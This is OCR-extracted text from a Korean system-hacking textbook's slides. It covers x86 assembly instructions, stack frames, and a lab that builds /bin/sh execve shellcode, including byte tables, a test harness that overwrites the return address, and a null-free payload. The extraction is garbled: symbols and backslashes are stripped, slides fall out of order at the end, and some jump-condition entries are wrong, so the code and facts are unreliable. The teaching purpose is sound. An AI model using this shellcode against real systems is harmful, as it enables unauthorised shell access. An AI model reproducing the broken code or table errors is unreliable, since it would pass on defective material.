- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 15: 80×86  시스템에 대한 이해

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

